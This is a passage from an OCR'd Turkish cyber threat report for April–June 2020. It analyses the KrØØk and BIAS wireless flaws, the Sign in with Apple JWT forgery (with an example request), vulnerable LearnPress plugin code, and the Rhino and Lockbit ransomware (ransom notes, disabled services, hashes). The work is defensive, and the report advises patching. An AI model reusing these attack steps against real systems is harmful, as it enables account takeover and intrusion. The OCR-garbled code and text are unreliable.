tisim saglanir. Bu istemci ile erisim noktasinin karsilik-
I olarak kimlik dogrulamasi yapmasini mimkin kilar.
Bunu her ikisinin de 6énceden paylasilan anahtar (PSK)
Wi-Fi erisim parolasi olarak bildigini dogrulayarak yapar.
4 Yonlu El Sikisma sirasinda, istemci ve erisim nokta-
s veri gizliligi ve bUtinlGga igin kriptografik anahtarlar
olusturur ve kurar. Anahtarlardan biri PTK’dir (Cift Y&nlU
Gegcici Anahtar). KrOOk ile alakali olan anahtar, istemci ile
erisim noktasi oturumu sirasinda iletilen veri cerceveleri-
ni sifrelemek icin kullanilan 128 bit uzunlugundaki TK’dir
(Gegici/Oturum Anahtari).

Kr0Ok Zafiyeti Teknik Detaylan

Bir istemci cihaz bir erisim noktasiyla her baglanti kurdu-
gunda, ilk asama iliskilendirme (association) agsamasidir.
Arastirmacilarin hedefinde ise bunun tersi olan ayriima
(disassociation) ve bu ikisinin birlesimi olan yeniden
iliskilendirme (reassociation) asamalari bulunmaktadir.
Ayrismalar ve yeniden iligkilendirmeler birka¢ nedenden
ortaya ¢ikar. Ornek olarak istemci cihaz, sinyal paraziti
nedeniyle bir Wi-Fi erisim noktasindan digerine baglanti
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Sekil 19: Kr00k, tamamen sifir anahtariyla sifrelenmis verilerin ile-
timine neden olur.

kurdugunda yeniden iligkilendirmenin, basit sekilde kul-
lanici cihazinda Wi-Fi’yi kapattiginda ise ayriimanin ger-
ceklesmesi gosterilebilir.

iliskilendirme ve ayrima islemleri yonetim cergeveleri
(management frames) tarafindan gerceklestirilir. Burada
dikkat edilmesi gereken 6nemli nokta, bunlarin kimligi
dogrulanmamis ve sifrelenmemis olmasidir. Bu nedenle,
bir saldirgan, hedef cihaz tarafindan gerceklestirilecek
bir ayrilmayl manuel olarak tetiklemek icin bir ydnetim
cercevesi olusturup, bunu ag ortamina aktarabilir (trans-
mit). Bahsi gecen Wi-Fi kartlarinda ¢ip seviyesindeki ha-
tanin sematik bir 6zeti Sekil 19‘da incelenebilir.

Kr0O0k, bir ayriimadan (disassociation) sonra kendini gos-
terir. Bir istasyonun WLAN oturumunun baglantisi kesildi-
ginde (1), Kablosuz Ag Arabirimi Denetleyicisinin (WNIC)
Wi-Fi yongasinda depolanan oturum anahtar (TK) bellek-
ten temizlenir ve anahtarin tamamu sifir olarak (2) ayarlanir.
Ayrilmadan sonra bagka veri iletiimemesi gerektigi icin as-
linda bu beklenen bir davranistir. Bununla birlikte, ¢ipin Tx
(iletim) arabelleginde kalan tim veri gercevelerinin (data
frames), tamami sifir anahtar (3) ile sifrelendikten sonra
aktarildig (4) arastirmacilar tarafindan kesfedilmigtir.

Arastirmacilarin belirttigine goére, KrOOk (tamami sifir TK
ile sifreleme) bir ayriimadan sonra kendini gosterdiginden,
saldirgan, dogal olarak meydana gelen ayriimalarin aksi-
ne, ayriimalari manuel olarak tetikleyebilmektedir. Ayriima,
kimligi dogrulanmamis ve sifrelenmemis bir yonetim veri
cercevesi (management data frames) tarafindan tetikle-
nebilir. Boylelikle bir ayriimaya neden olabilecek (6rnegin
hatali hazirlanmis paketler, EAPOL ler vb.) ydntemler ile
KrOOk zafiyetinin tetiklenebildigi saptanmistir.

Ayrilma gerceklestikten sonra, cipin Tx arabellegindeki
tamami sifir TK ile sifrelenmis olarak iletilen bu veriler
saldirgan tarafindan yakalanabilir ve daha sonra sifresi
¢Ozulerek okunabilir. Bu veriler, birka¢ kilobayttir ve po-
tansiyel olarak hassas bilgi icerebilir. Saldirgan, monitér
modunda bir Kablosuz Ag Arabirimi Denetleyicisi (WNIC)
kullanarak WLAN’a bagh olmadiginda (kimligi dogrulan-
mis ve iligkili degilse, 6rnegdin PSK’yi bilmiyorsa) bile bu
zafiyeti kolayca sdmurebilir.

SIBER TEHDIT DURUM RAPORU
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Sekil 20: Ag trafigini yakalayip ¢ézmek icin tekrar tekrar ayriima
(disassociation) tetikleme islemi.

Saldirgan, ayriima paketlerini tekrar tekrar tetikleyerek
(Sekil 20) (oturum genellikle yeniden baglanacagdi igin)
daha fazla veri cergevesi yakalayabilir.

Arastirmacilar KrOOk ile saldirganin, WPA2 protokoll ol-
mayan acik bir WLAN aginda goreceklerine benzer se-
kilde DNS, ARP, ICMP, HTTP, TCP ve TLS paketleri de
dahil olmak Uzere potansiyel olarak hassas veriler iceren
daha fazla ag paketini yakalayabilecegi ve tim bu pa-
ketleri sifresiz olarak okuyabilecegini géstermistir.

Sonug olarak, KrOOk’un (CVE-2019-15126) milyarlarca
cihazi etkileyerek hassas verilerin sizmasina neden olan
ve kotu niyetli kisilere yeni bir saldin vektdrt agan bir
glvenlik acigi oldugu tespit edilmistir. Kullanicilar ve ku-
rumlar, Broadcom veya Cypress Wi-Fi ¢iplerini, istemci
cihazlarini ve erisim noktalarini en son yazilim strimle-
riyle glincelleyerek bu kritik zafiyete kargi kendilerini gu-
venli konuma getirebilir.

5. Bluetooth BIAS Zafiyetleri

Bluetooth ginimizde milyonlarca cihazda kullanilan
kablosuz bir protokoldir. Bluetooth protokoll iki farkh
kimlik dogrulama ydntemi (legacy authentication ile se-
cure authentication) kullanir. Bu yontemlerle cihazlar
uzun vadeli anahtar (LTK) kullanarak kimlik dogrulama
yapar ve taklit saldinlarini dnleyecek givenli baglantilar
kurar.

BIAS arastirmasiyla Bluetooth protokolinin guvenli
baglanti olusturma kisminda “taklit saldinlarina” sebebi-
yet verebilecek zafiyetler kesfedilmistirl'®. Bu zafiyetler
su durumlari kapsiyor:

Karsilkli kimlik dogrulama eksikligi
Asiri izin verici rol degisimi
Kimlik  dogrulama
disirilmesi

prosedlriinin  derecesinin
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Bluetooth Protokolii

Klasik Bluetooth (BR/EDR) 2.4 GHz ISM bandinda ¢ali-
san ve frekans atlama teknigdi kullanan bir kablosuz ha-
berlesme ydntemidir. Birbirine bagh 2 Bluetooth cihaz
1 MHz araliklara bélinmuUs 79 adet kanall belirli zaman
araliginda atlayarak haberlesme saglar. Bir Bluetooth
agl, bir master (ana) cihaz ve buna bagh maksimum 7
adet slave (kdle) cihazdan olusur. iki cihaz ACL fiziksel
link baglantisini kurduktan sonra istedikleri zaman bu
rolleri degisebilir.

Bluetooth standardinda, link katmani seviyesinde
Bluetooth baglantisinin guivenligini saglamak igin Eski
Guvenli Baglanti (Bluetooth Legacy Secure Connections)
ve Guvenli Baglanti (Bluetooth Secure Connections)
yéntemleri s6z konusudur. En glvenli ve en yaygin es-
lestirme mekanizmasi olan SSP’nin (Secure Simple
Pairing) anahtar belirlenmesi kisminda Elliptic Curve
Diffie Hellman (ECDH) kullanilir. Eslestirme yapildiktan
sonra cihazlar uzun vadeli bir anahtar (LTK) (zerinde
anlasmaya varip bu anahtarla drettikleri farkli oturum
anahtarlarini birden fazla glvenli baglanti saglamak igin
kullanabilir.

Sistem ve Saldiri Modeli

Saldin yapilacak sistem olarak Charlie’nin saldirgan,
Alice ve Bob’un da kurban oldugu bir sistem disinul-
mistir. Alice ve Bob’un uzun vadeli bir anahtar Gze-
rinde anlasmaya vardig bir ortamda, Charlie’nin amaci
Alice’i taklit ederek Bob ile, Bob’u taklit ederek de Alice
ile baglanti kurmaktir. Charlie bu iki saldinda, Alice ve
Bob farkli rollerde oldugu igin ayni taklit saldirn metodunu
kullanamaz.

Alice ve Bob'un belirledigi LTK

! L

O=—x —0
BIAS BIAS
.‘7) OR H
\*\ \*'
Alice = Charlie Charlie e Bob
(slave) (Bob'un taklidi) | (Alice'in taklidi) (master)

Sekil 21: BIAS Saldirgan Modeli.

Eski Giivenli Baglantilar Uzerinde BIAS Saldirilari

Slave Cihaza Yapilan Saldin: Bu saldin tipinde
Charlie, Bob’un adresini ve herkese agik bilgilerini
kullanarak onu taklit eder. Eski Guvenli Baglantilarda
kimlik dogrulama, tek yonli yapildigi i¢in, Bob gibi
davranan Charlie daha énceden Uzerinde anlasiimig
olan LTK’yi bilmemesine ragmen Alice ile baglant
kurabilir. Alice, Bob ile iletisim kurdugunu sanarken
aslinda Charlie ile iletisim kurmaktadir.
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Alice (Slave) Charlie (Master)

o

< Alice uzun vadeli anahtari bob ile paylasir. (LTK) >
Bob’mus gibi baglanti istegi atilir

Baglanti iste@i kabul edilir
Challenge gonderilir
% Response gonderilir

[ Oturum anahtari belirlenir ]

< Charlie Bob'u taklit etmeye baslar >

e —

Sekil 22: Eski Baglantilar Uzerinde Slave Cihaza Saldiri.

Master Cihaza Yapilan Saldiri: Bu saldin yéntemin-
de, master cihaz roliindeki Bob baglant istegini kendi-
ni Alice gibi gésteren Charlie’ye gdnderir. Protokoldeki
zayiflik yizinden slave ve master cihazlar baglanti
kurulmadan &6nce rolleri degistirebilir. Bu &zelligi kul-
lanan Charlie, Bob’a rolleri degistirmek istedigi mesaji
gdnderdikten sonra bir énceki saldinda s6zi gegen
metodu kullanarak master cihazi taklit eder.

Giivenli Baglantilar Uzerinde BIAS Derece Diisiirme
Saldinlar

Bahsedilen saldin yéntemleri sadece Eski Guvenli
Baglantilar Uzerinde uygulanmaktadir. Ancak Bluetooth
protokolindeki Derece Dislirme Saldirisi ile beraber
kullanildiginda Guvenli Baglantilan da etkileyebilmek-
tedir. Bunun icin saldirgan Charlie, Bob gibi davrana-
rak Alice’e ya da Alice gibi davranarak Bob’a Guvenli
Baglantilarn desteklemedigini belirti. Daha énce ayni
baglantida Guvenli Baglantilari desteklemelerine rag-
men Alice ve Bob protokolln derecesini digurerek Eski
Guvenli Baglantilar metodunu kullanmaya baglarlar.
Bunun ardindan yukaridaki metotlar kullanabilecek du-
ruma gelen saldirgan taklit saldirisi gerceklestirir.

Giivenli Baglantilar Uzerinde BIAS Yansima Saldirilan

Normal durumda saldirgan, kurban cihazin meydan
okumasina (challenge) karsilik gelen cevabi (response)
bilmez. Ancak bu saldin tirinde kurban cihaz bu ceva-
bl saldirana séyler. Bu sayede saldirgan, ayni cevapla
kurban cihaza yanit vererek kimlik dogrulama yapabilir.
Arastirmada, protokolde bu zayifligin oldugu tespit edil-
mis ancak pratik bir saldirlya dénustirilmemigtir.

Arastirmacilar, Bluetooth 5.0 Glvenli Baglantilan des-
tekleyen CYW920819EVB-02 gelistirme karti Uzerinde
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hazirladiklan BIAS saldirilarini 31 cihaz Gizerinde dene-
mis ve bu saldirilarin 31 cihazda da basariyla uygulandi-
g1 belirtmistir. Ayrica bu g¢alismanin kaynak kodlarina da
github (zerinden erisilebilmektedirl'!.

6. “Apple ile Giris Yap” Ozelligi Zafiyeti

“Apple ile Giris Yap” 6zelligi web sitesi ve uygulamala-
ra giris saglamak igin daha fazla gizlilik odakl bir alter-
natif olarak 2019 yilinda ortaya ¢ikti. Bu 6zellik kimlik
dogrulama ve hesap olusturma islemleri icin kullanilan
kullanici veri miktarini en aza indirerek, kullanicilarin ma-
ruz kaldigi takip edilme (tracking) miktarini da azaltmay
hedefliyordul’.

Odagi gizlilik olan bu 6zelligin icerdigi bir zafiyet, sade-
ce sizin e-posta kimliginizle favori web sitenizde veya bir
uygulamada bulunan hesabinizin ele gegiriimesine imkan
vermektedir. Nisan ayinda, “Apple ile Giris Yap” uygula-
masini kullanan ve ek givenlik dnlemleri almayan tgilnci
parti uygulamalar etkileyen bir sifirnci gin (0-day) zafiyeti
tespit edildi. Bu zafiyet, gecerli bir Apple kimligine sahip
olsun ya da olmasin, tg¢lncu parti bir uygulamadaki kul-
lanici hesaplarinin ele gegirilmesini mimkin kilmis olabilir.
Apple bu zafiyeti bulan arastirmaciyl Apple Security Bounty
programi kapsaminda 100.000 dolarla 6dillendirdi*.,

Teknik Detaylar

Apple ile Oturum A¢gma; Facebook, Twitter, Google he-
sabinizla bagka uygulamalara ya da web sitelerine giris
yapmanizi saglayan OAuth 2.0’a benzer sekilde galigir.

Bir kullanicinin kimligini dogrulamanin iki yolu vardir.
Dogrulama bir JWT (JSON Web Token) ya da Apple su-
nucusu tarafindan olusturulan bir kod kullanarak yapi-
lir. Bu kod daha sonra bir JWT olusturmak icin kullanilir.
Asagidaki semada JWT olusturma ve dogrulamanin na-
sil calistigi gdsterilmektedir.

1. Yetki Talebi

(Authorization Request) APPLE KIMLIK

DOGRULAMA
SUNUCUSU

2. Yetki Terr

5. JWT Dogrulama

e
KULLANICI Basani

3. IWT dogrulama

0cUNCU PARTI
UYGULAMA

6. JWT verilerini kullanarak
kullanici girisi

Sekil 23: Yetkilendirme Semasi.
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Sekildeki 2. adimda, yetkilendirme yapilirken Apple
kullaniciya Apple e-posta kimligini tg¢lnci parti uygu-
lamayla paylasma veya paylasmama seceneklerini su-
nar. Kullanici e-posta kimligini gizlemeye karar verirse,
Apple kullanici igin dzel bir aktarici Apple e-posta kimligi
olusturur. Basarih bir yetkilendirmeden sonra Apple, kul-
lanici kararina bagl olarak, aktarici veya gercek e-posta
kimligini iceren bir JWT olusturur. Ardindan bu token,
Uclincl parti uygulamada kullaniciya oturum agiimasi
icin kullanir!'3,

Desifre edilmis bir JWT su sekildedir:

{
“iss”: “https://appleid.apple.com”,

“aud”: “com.XXXX.weblogin”,

“exp”: 1T58XXXXXXX,

“lat”: 158XXXXXXX,

“sub”: “HRXXXXXXXXXXXX”,

“c_hash”: “FUXwx9EHQgXXXXXXXX”,

“email”: “contact@bhavukjain.com”, // or “XXXXX@privatere-
lay.appleid.com”

“email_verified”: “true”,

“auth_time”: 158XXXXXXX,

“nonce_supported”: true

}

Zafiyetin Nedeni

Apple’dan herhangi bir e-posta kimligi icin JWT istene-
bilmektedir. Elde edilen JWT imzasi Apple’in acik anah-
tan kullanilarak dogrulandiginda, kullanicinin kimligi ge-
cerli olarak gd&sterilebilir. Bu durum, saldirganin herhan-
gi bir e-posta kimligini ona baglayarak bir JWT’yi taklit
edebilecegi ve sectigi kurbanin hesabina erisebilecegi
anlamina gelmektedir.

ikinci Adimda Ornek istek

POST /XXXX/XXXX HTTP/1.1
Host: appleid.apple.com
{“email”:”contact@bhavukjain.com”}

Burada herhangi bir e-posta yollandiginda, Apple’in yol-
lanan e-posta kimligi icin gecerli bir JWT olusturdugu
gorilmektedirt™l,

Ornek Yanit
{

“authorization” : {
“id_token” : “eyJraWQIiOiJIWGF1bm1MlIiwiYWxnljoiUIMy-
NTYifQ.XXXXXXXXXX”,
“grant_code” : “XXX.0.nzr.XXXX”,
“scope” : [ “name”, “email” ]

b
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ﬂ/_\
“authorizedData” : {

“userld” : “XXXXXXXXXXXX”
}

consentRequired” : false

Zafiyetin Etkisi

Bu glvenlik acidi, etkileri hesabin tamamen ele gegiril-
mesine izin verebilecedi igin kritiktir. Google ile giris yap,
Facebook ile giris yap gibi sosyal girigleri destekleyen
uygulamalar igin zorunlu oldugundan, bircok gelistiri-
ci “Apple ile Giris Yap” ile entegre olmustur. Dropbox,
Spotify, Airbnb, Giphy bu 6zelligi kullanan uygulamalara
ornek olarak verilebilir.

Ancak Apple, kayitlari detayli olarak inceledigini ve
s6z konusu glvenlik acigi nedeniyle herhangi bir ko-
tiye kullanma veya ele gecirme gérilmis olmadigini
belirtmektedirt.

7. WordPress e-Learning Eklentilerinde
Bulunan Kritik Zafiyetler

Gulvenlik aragtirmacilan, gesitli kuruluslarin ve Universi-
telerin gevrimici egitim kurslar sunmak igin kullandiklari
WordPress tabanl web sitelerinin yénetim sistemi (LMS)
eklentilerinde yeni guvenlik agiklar kesfettiler.

Check Point glvenlik arastirmacilarina gére, séz konu-
su U¢ WordPress eklentisi - LearnPress, LearnDash ve
LifterLMS - kayith kullanicilarin kisisel bilgilerinin gizlen-
mesine ve hatta dgretmen ayricaliklarina erismesine izin
veren glvenlik zafiyetleri barindirmaktadir!'4.

Bu arastirmacilardan Omri Herscovici, zafiyet konusunda
sunlari s@yluyor: “Koronavirlis nedeniyle, 6grenimimiz de
dahil olmak Uzere her seyi evimizden yapiyoruz. Saptanan
glvenlik aciklarn 6grencilerin ve hatta bazen kimligi dog-
rulanmamis kullanicilarin hassas bilgiler edinmesine veya
LMS platformlarinin kontrolinii ele gegirmesine olanak
taniyabiliyor.” Toplamda 100.000’in Ustiinde farkli egitim
platformunda aktif olarak kullanilan bu eklentiler, bircok
Universitenin uzaktan 6grenim uygulamalarinda gérev al-
maktadir. LearnPress ve LifterLMS eklentilerinin simdiye
kadarki indirilme sayisi 1,6 milyonun Uzerindel™.

LMS, akademik kuruluglarin ders mufredati olusturma-
sina, ders paylasimina, égrenci kaydetmesine ve sinav
yaparak o6grencileri degerlendirmesine olanak tani-
yan bir yazihm. Kolay kurulum ve kullanimlarindan do-
lay1 LearnPress, LearndDash ve LifterLMS sistemleri
ABD ve Avrupa Universitelerinde oldukga yaygin olarak
kullaniimaktadir.

Tespit edilen zafiyetler arasinda SQL Injection ve uygu-
lama Uzerinde 6gretmen haklarina yikselme gibi kritik
etkiler s6z konusudur.


https://appleid.apple.com/
http://appleid.apple.com/
http://appleid.apple.com/
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function learn_press_accept_become_a_teacher() {

$action = ! empty( $_REQUEST['action'] ) ? § REQUEST['action'] : '';

$user_id = ! empty( $_REQUEST['user_id'] ) ? $_REQUEST['user_id'] : "°';

if (! %action || ! $user id || ( $action != 'accept-to-be-teacher' ) )
return;

if ( ! learn_press_user_maybe_is_a_teacher( $user_id ) ) {
$be_teacher = new WP_User( $user_id );
$be_teacher-»>set_role( LP_TEACHER_ROLE );

delete_transient( 'learn_press_become_teacher_sent ' . $user_id );
do_action( 'learn_press_user_become_a_teacher', $user_id );
fredirect = add_query arg( 'become-a-teacher-accepted', 'yes' );

$redirect = remove_query_arg( ‘action’, $redirect );
wp_redirect( $redirect );
H
by

add_action( 'plugins_loaded', 'learn_press_accept_become_a_teacher' );

Sekil 24: LearnPress Eklenti Kodlari.

Zafiyetlerden biri LearnPress Uzerinde bir kullanici egit-
men olmak istediginde yoneticiye bir e-posta géndere-
rek onun bagdlantiyi tiklatarak istegi onaylamasini saglar.
Bu istegi yerine getiren islev, eklentiler yiiklenir ylklen-
mez otomatik olarak ¢alisir ve bu nedenle belirli para-
metreleri her zaman bekler.

Bu fonksiyonun uygulanmasiyla, saldirgan ac-
cept-to-be-teacher degerini action parametresine ve
user_id bilgisini kendi ID degeriyle gbndermesi sonu-
cunda egitimci haklarna yukseltilebilir. Bu durum, kim-
ligi dogrulanmamis bir saldirganin bile bu parametreleri
iceren wp-admin/admin-post.php’ye bir istek géndere-
bilecegi ve glvenlik zafiyetini sémirmek icin kullanici
kimligine ihtiyac duyabileceg@i bir kullanicinin izinlerini
artirabilecegi anlamina geliyor.

Kendisine LP Egitmeni roll verilen kullanici yeni yayinlar,
kurslar, dersler ve sinavlar olusturma olanaklarina sahip
olur. Buna ek olarak, LP Egitmeni kullanicilarina genellik-
le yalnizca editdrler ve ydneticiler igin aynlmig bir 6zellik
taninmistir: unfiltered_html &zelligi, egitmenlerin olustur-
duklar sayfalardan herhangi birine 6zel kod eklemesine
izin verir. Bu 6zellik sayesinde, saldirgan olusturdugu ya-
yinlara kolayca kétt amaglh JavaScript ekleyebilir; bu da
ziyaretcileri kdéti amacli reklam sitelerine yénlendirmek
icin kullanilabilir, hatta giris yapmis bir yénetici bu yayin-
lardan birini géruntllediginde site ele gegirilebilir.

LearnPress’de tespit edilen bir bagka zafiyet de AJAX
islemleri Gzerinde bariniyor. Update_order_status olarak
belirtilen iglevde, yo6neticilerin LearnPress siparislerinin
Kabul ve Red iglemleri yapilmakta ancak bu fonksiyona
gonderilen isteklerde herhangi bir kontrol yapiimadigi
icin gbnderilen tum istekler kabul ediliyor. Bu sebeple,
saldirganin wp-admin/admin-ajax.php adresine génder-
digi action parametresini, learnpress_update_order_sta-
tus ve order_id parametresini de Post ID’si olarak gén-
dermesi durumunda value parametresini herhangi bir
degere ¢cekmesiyle zafiyet sémurilebiliyor. Bu, saldirga-
nin mevcut herhangi bir yayini veya sayfayi yayinlama-
sina veya silmesine, hatta mevcut olmayan bir duruma
ayarlamasina olanak taniyor; bu noktada yapilan degi-
siklikler veri tabani veya wp-admin disinda herhangi bir
noktadan gortilememektedirl'.
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$order_id
$value

$response| 'success’ |

Sekil 25: LearnPress AJAX KontrolU.

Bir baska zafiyet ise LifterLMS Uzerinde bulunan dosya
yazabilme zafiyeti, CVE-2020-6008 kodu ile éne ¢iki-
yorl'8, PHP uygulamasi (zerinde degiskenlerin sanitize
edilmeden dogrudan kullaniimasi durumunda sunucu
tarafinda kod c¢alistirimasina olanak veren hata, bir ders
icin kayit olmus &grencinin ismini zararl bir PHP kodu
enjekte etmesiyle sdmdirllebiliyor. Hatalar, saldirganin
kisisel bilgileri ¢almasini, égrencilerin notlarini degistir-
mesini, sinavlarl ele gecirmesini ve cevaplari énceden
test etmesini, ayrica sertifikalar olusturmasini mimkuin
kilmaktadir.

Check Point Arastirma Ekibi, s6z konusu glivenlik agik-
larinin Mart ayinda kegsfedildigini ve ilgili platformlara bir
sekilde aciklandigini belirtiyor. Her ti¢ LMS sistemi icin de
sorunlari gézmeyi amaglayan yamalar yayinlanmigtirt™l,

Bu eklentileri kullanan kurumlarin eklentilerin en son su-
rimlerine gecmeleri siddetle dnerilir.

8. Rhino Fidye Yazilimi

Rhino Ransomware dosyalarn “. [Generalchin@counter-
mail.com] .rhino” uzantisiyla sifreleyerek belge, resim
ve video verilerine erisimi kisitlayan bir fidye yazilimidir.
Zararl, bulastiktan ve sifreleme islemini tamamladiktan
sonra verilere yeniden erisim saglama karsiliginda Bitcoin
kripto para birimi talep ederek fidye almaya galigir'”.

Sekil 26: Rhino ransomware ile sifrelenmis dosyalar.

Rhino Ransomware bilgisayarlara sahte bagliklar ige-
ren spam e-postalarla bulasir. FedEx veya DHL gibi
kargo firmalan tarafindan génderilmis gibi g&rinen
sahte e-posta kullaniciya ona bir paket teslim etme-
ye c¢alistiklarini ancak bunda basarisiz olduklarini sdy-
ler. E-postanin ekinde yer alan dosyanin agilmasi veya

SIBER TEHDIT DURUM RAPORU



NiSAN-HAZIRAN 2020

&1 CAusers\Mabware Tips\Downloads\info. .
Warning!

Al your files have been encrypted due to a security problem with your PC.
if you want to restore them, write us to the e-mail:

1) generalchin@countermail.com

[2) generalchin@smime ninja (if you do not receive a response from the first mailbox)

[¥ou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.
lAfter payment we will send you the decryption tool that will decrypt all your files.

[Free decryption as guarantee

[Eefore paying you can send us up lo 1 files for free decryplion.

[The total size of files must be Jess than 500 Kb (non archived), and files should not contain valuable information. (Jatabases,
[packups, large excel sheets, efc.)

Sekil 27: Rhino ransomware fidye mesaji.

verilen baglantiya tiklanmasiyla fidye yaziimi bilgisaya-
ra bulasir. Fidye yazilmi bulastiginda kullaniciya Sekil
27’deki mesaj gosterilirl™.

Zararli yazihmin bilgisayara yutklenmis olan veya igle-
tim sisteminin icindeki programlarda yer alan guvenlik
aciklarindan yararlanarak saldirdigi gézlemlenmistir.
Zararlinin yaygin olarak kullandigi programlar; tarayicilar,
Microsoft Office Programlari, tglinct parti yazilimlar ve
bilgisayarin igletim sisteminin kendisidir!8.,

Rhino Ransomware programlan sifrelemeye baslama-
dan dnce islemi yarida kesebilecek veya sifreleme hatasi
yaratacak belli bagh servisleri devreden c¢ikarir.

wscsvc (Windows Security Center Service)
WinDefend (Windows Defender Service)
wuauserv (Windows Update Service)

BITS

ERSvc (Error Reporting Service)

WerSvc (Windows Error Reporting Service)

Sekil 28: Devreden ¢ikarilan servislere dair bir gorsel.

Fidye yazilimi sistem hizmetlerinin yani sira Microsoft
Exchange, sqlserver ve sqlwriter’in gérevlerini de dur-
durmay! dener. Bu gbrevleri durdurarak sifreleme sira-
sinda Microsoft Exchange tarafindan kullaniimaya de-
vam edebilecek tim dosyalar sifreleyebilirlel.

Information Value

sl [ S e

Sekil 29: MSExchange goérevinin durdurulmasi.
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Zararl yazilm, goélge kopyalar ve yedekleme katalogu
gibi ilgili verileri silerek ve Windows Kurtarma Modunu
bcdedit ile devre digi birakarak yedeklemelerin kurtaril-
masini engeller®,

exe /c Beskidit ket (defaul recoreryenabled e, os oid - 0x7
W, startup flags = STARTF_USESHOWWINDOW

e wlbmfirfnr:dn\zlf.@_:b:_u-nt-_cl_ P I‘ 4 o -
Sekil 30: Yedeklenen verilerin silinmesi.

Dosyalar sifrelendikten sonra, ofset filesize-32’'de-
ki “Marvel01” dosya isaretleyicisini icerige ekler ve
dosya adlarina Sekil 26’da gdsterilmis oldugu gibi “.
[Generalchin@countermail.com] .rhino” dizesini ekler.
Eklenen dizedeki e-posta fidye notunda da gérintilenir.
Fidye yazilimi exe, sys, Ink, dll, msi ve fidye notlari olan
dosyalari sifrelemeye dahil etmez!'8.

Kullaniclya zararl yaziimin bulastigini bildirmek icin ce-
sitli dizinlere “ReadMe_Decryptor.txt” isimli metin dos-
yasi birakilir. Ayrica, Sekil 27°deki gibi baska bir fidye
notu da (“Decryptor_Info.hta”)% AppData% icine bira-
kilir ve kullaniciya gosterilirl'™ [19],

Zararll yazilm bulastiktan sonra dosyalarn kurtarmak
oldukga zordur, ancak dosyalarin kurtariimasi i¢in bazi
programlar kullanilabilmektedir. Bu programlarin bitin
dosyalari kurtarmasi mimkin olmayabilecedi gibi bazi
dosyalar temelli olarak kullanilamaz duruma gelebilir.
Rhino Ransomware zararl yaziimindan korunmak igin
e-postalarin glivenli adreslerden geldigini teyit etmek ve
ekli dosyalarnn veya baglantilarin agilmasi hususunda
dikkatli olmak gerekir'l,

9. Lockbit Fidye Yazilimi

Lockbit Ransomware, diger bir¢ok fidye yaziimi gibi,
verileri sifreler ve sifrelenmis verilerin agiimasi igin fidye
talep eder. 2019 yilinda ¢ikan bu yazilim pek ¢ok tlkede
etkisini gdstermistirl,

Lockbit Detections

Sekil 31: Lockbit Ransomware’den etkilenen Ulkeler.
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Tum fidye yazilmlarinda oldugu gibi, zararli yaziimin
yayllmasi i¢in saldirganin bir sekilde aga ilk erisimi sag-
lamasi gerekir. incelenen saldirida Lockbit Ransomware
icin, saldirgan eski bir VPN hizmeti iceren bir web su-
nucusuyla brute force saldirisi gerceklestirerek agdaki
ybnetici parolasini kirmig, bu sayede agdaki cihazlara
yayilmak igin gerekli izinleri saglamigtir?™.

Saldirgan, ydnetici dizeyinde hesapla, ag kesfi gergcek-
lestirmek icin SMB’yi (Server Message Block) kullanip eri-
silebilir ana makinelere genel bir bakis saglamistir. Daha
sonra, yénetici veya LocalSystem hesabini kullanarak bu
sistemlere erismek icin dahili Microsoft Remote Access
Server’t (RAS) kullanmistir. LocalSystem hesabi yerlesik
bir Windows hesabidir. Windows yerel érnegindeki en
yetkili hesaptir (herhangi bir yénetici hesabindan daha
glcludir). Bu hesaplari kullanarak, saldirgan bu sistemleri
ele gecirebilmis ve herhangi bir u¢ nokta givenlik Uriind-
ni kapatmak da dahil olmak Uzere istedigi her seyi ger-
ceklestirebilecek bir yetenege sahip olmustur?.,

Yoénetici bilgisayarin kabiliyetlerine sahip olduktan sonra
saldirgan zararl yazihmin kurulumunu gercgeklestirmistir.
Zararli yazilm kendi kendine yayilmayi sagladigindan
saldirgan bunu kolaylikla yapabilmektedir. Yaziim bir
makineye kurulduktan sonra bagl oldugu tim makinele-
re asagidaki Powershell komutunu yonlendirmistir:

Sekil 32: Lockbit Ransomware powershell komutu.

Bu komut, glvenli olmayan bir web sitesinden bir png
dosyasi alir. Her farkli ana bilgisayar fidye yaziliminin
kendisini indirir. Bu nedenle, saldirganin yeterli ayricali-
da sahip tek bir sisteme erismesi, agdaki diger tim ana
bilgisayarlari otomatik olarak indirmesi ve yuritmesi igin
yeterli olmusturt®.

Zararl yazilima ait kimlik bilgileri asagidaki gibidir?®:

File name: rs35 png

SHA1 488e532e55100da68eaeee30ba342cc05810e296

SHA256 €a57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75
size 546.00 KB

PDB c\usersiuser\work\code\dotnetiregedit 64\regedit 64\obj\release\rs35.pdb
guld 84e7065-65fe-4bae-3122-f967584e31db

Sekil 33: Lockbit ransomware kimlik bilgileri.
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Lockbit Ransomware sisteme bulagtiktan sonra verileri
abcd uzantisiyla sifrelerl,

TPg-abicd b

Restore-My...2jpg.abcd

Sjpg.abed  Ajpgabed  3jpg.abed

Sekil 34: Lockbit Ransomware sifreleme.

Zararl yazihmin sistemi ele gegirmesinden sonra kullani-
ciya Sekil 35’te gorilen fidye mesaji gosterilir. Mesajda
kullanicidan TOR tarayicisini yiikleyerek fidye yatirmak
icin gerekli adimlar takip etmesi talep edilir?".

t forget about GOPR.

Sekil 35: Lockbit Ransomware fidye mesajl.

Lockbit ve benzeri fidye yaziimlarindan korunmak icin
hangi teknolojinin agda goérintrlik saglayabilecegini be-
lirlemek gerekir. Hangi dijital kanit kaynaklarnn oldugu,
korumak ve yanitlamak icin yeterince hizl tespit yapilip
yapilmadigi denenmelidir. “ilk erisim asamasi” &nlene-
miyorsa, birden fazla savunma teknolojisi uygulayacak
glclu bir “Derinlemesine Savunma” sistemi gerekir.
Fidye yaziimlarindan korunmak i¢in en etkili 6nlem ba-
sarili bir yedekleme sistemine sahip olmaktir, bdylece
fidye 6demeden verileri kurtarmak mimkin olabilir?.,

10. MBR’1 Hedef Alan COVID Zararlisi

ilk olarak Aralik 2019’da tespit edilmesinin ardindan hizli
bir sekilde diinyaya yayilan koronavirlis (COVID-19) in-
san sagligini tehdit etmesinin yani sira ekonomik, sosyal
ve politik alanlarda da etkili olmaktadir. Salginin kontrol
altina alinabilmesi icin bircok kurum ve kurulus uzaktan
calismaya gecmistir. Bu durumun ortaya ¢ikardigi zafiyet
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kétu niyetli siber faaliyetler yuritmek amaciyla yogun
olarak istismar edilmeye calisiimaktadir. COVID-19’un
etkisiyle dogru orantili olarak salgini arag olarak kullanan
atak vektorlerinde de artis gézlemlenmisgtir.

incelemesi yapilan dosya COVID-19 temasini kullan-
